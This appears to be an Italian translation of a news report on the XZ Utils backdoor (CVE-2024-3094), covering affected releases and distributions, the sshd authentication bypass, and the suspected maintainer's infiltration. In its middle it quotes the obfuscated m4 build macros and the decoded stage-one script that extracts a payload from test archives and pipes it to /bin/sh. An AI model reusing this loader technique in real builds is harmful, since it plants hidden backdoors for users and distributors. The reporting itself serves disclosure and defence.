Nel pacchetto XZ Utils, che include la libreria liblzma e gli strumenti per lavorare con i dati compressi nel formato «.xz», è stata individuata una backdoor (CVE-2024-3094) che consente di intercettare e modificare i dati elaborati dalle applicazioni collegate alla libreria liblzma. L'obiettivo principale della backdoor è il server OpenSSH, collegato in alcuni distribuzioni alla libreria libsystemd, che a sua volta utilizza liblzma. Il collegamento di sshd con la libreria vulnerabile consente agli aggressori di accedere al server SSH senza autenticazione.
La backdoor era presente nei rilasci ufficiali 5.6.0 e 5.6.1, pubblicati il 24 febbraio e il 9 marzo, che sono riusciti a entrare in alcune distribuzioni e repository, come Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide e 40-beta, openSUSE factory e tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Si raccomanda a tutti gli utenti delle versioni xz 5.6.0 e 5.6.1 di tornare urgentemente alla versione 5.4.6.
Tra i fattori attenuanti, si può notare che la versione di liblzma con la backdoor non è riuscita a entrare nelle versioni stabili dei principali distributori, ma ha colpito openSUSE Tumbleweed e Fedora 40-beta. Arch Linux e Gentoo hanno utilizzato la versione vulnerabile di zx, ma non sono vulnerabili all'attacco poiché non applicano il patch a openssh per supportare systemd-notify, che porta al collegamento di sshd a liblzma. La backdoor colpisce solo i sistemi x86_64 basati su kernel Linux e le librerie C Glibc.
Il codice di attivazione della backdoor era nascosto nei macro m4 del file build-to-host.m4, utilizzato dallo strumento automake durante la compilazione. Durante la compilazione, attraverso operazioni obfuscated complicate basate su archivi (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), utilizzati per testare la correttezza del funzionamento, veniva generato un file oggetto contenente codice malevolo, che veniva incluso nella libreria liblzma e modificava la logica di funzionamento di alcune delle sue funzioni. I macro m4 che attivano la backdoor erano inclusi negli archivi tar delle release, ma mancavano nel repository Git. Tuttavia, gli archivi di test maligni erano presenti nel repository, quindi chi ha inserito la backdoor aveva accesso sia al repository che ai processi di creazione delle release.
Nell'utilizzo di liblzma nelle applicazioni, modifiche dannose potrebbero essere state utilizzate per intercettare o modificare i dati, nonché per influenzare il funzionamento di sshd. In particolare, il codice maligno sovrascriveva la funzione RSA_public_decrypt per eludere il processo di autenticazione in sshd. Il backdoor includeva protezione contro la rilevazione e non si manifestava con le variabili d'ambiente LANG e TERM impostate (ossia, durante l'esecuzione del processo nel terminale) e con le variabili d'ambiente LD_DEBUG e LD_PROFILE non impostate, attivandosi solo all'esecuzione del file eseguibile /usr/sbin/sshd. Il backdoor disponeva anche di strumenti per rilevare l'avvio in ambienti di debug.
In particolare, nel file m4/build-to-host.m4 venivano utilizzate le costruzioni gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’
Nella prima costruzione, l'operazione grep trovava il file tests/files/bad-3-corrupt_lzma2.xz, il cui estrazione generava lo script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..//..//config.status;then eval `grep ^srcdir= ..//..//config.status` srcdir=»..//..//$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
Non è ancora chiaro come i criminali informatici siano riusciti ad accedere all'infrastruttura del progetto xz. Non è chiaro neanche quanti utenti e progetti siano stati compromessi a causa dell'azione del backdoor. L'autore presunto del backdoor (JiaT75 — Jia Tan), che ha caricato negli archivi del repository codice malevolo, ha comunicato con gli sviluppatori di Fedora e ha inviato richieste di pull a Debian relative al passaggio delle distribuzioni alla versione xz 5.6.0, senza destare sospetti, poiché ha partecipato allo sviluppo di xz per gli ultimi due anni ed è il secondo sviluppatore per numero di modifiche apportate. Oltre al progetto xz, l'autore presunto del backdoor ha anche partecipato allo sviluppo dei pacchetti xz-java e xz-embedded. Inoltre, alcuni giorni fa Jia Tan è stato incluso tra i maintainer del progetto XZ Embedded, utilizzato nel kernel di Linux.
La modifica malevola è stata rilevata dopo un'analisi del consumo eccessivo della CPU e degli errori segnalati da valgrind, durante il collegamento via ssh a sistemi basati su Debian sid. È interessante notare che nella release di xz 5.6.1 sono state incluse modifiche preparate dall'autore presunto del backdoor, in risposta a lamentele relative al rallentamento delle prestazioni e ai malfunzionamenti di sshd, verificatisi dopo l'aggiornamento alla versione xz 5.6.0 contenente il backdoor. Inoltre, lo scorso anno Jia Tan ha apportato modifiche incompatibili con la modalità di controllo "-fsanitize=address", portando alla sua disattivazione durante i test di fuzzing.
Fonte: opennet.ru
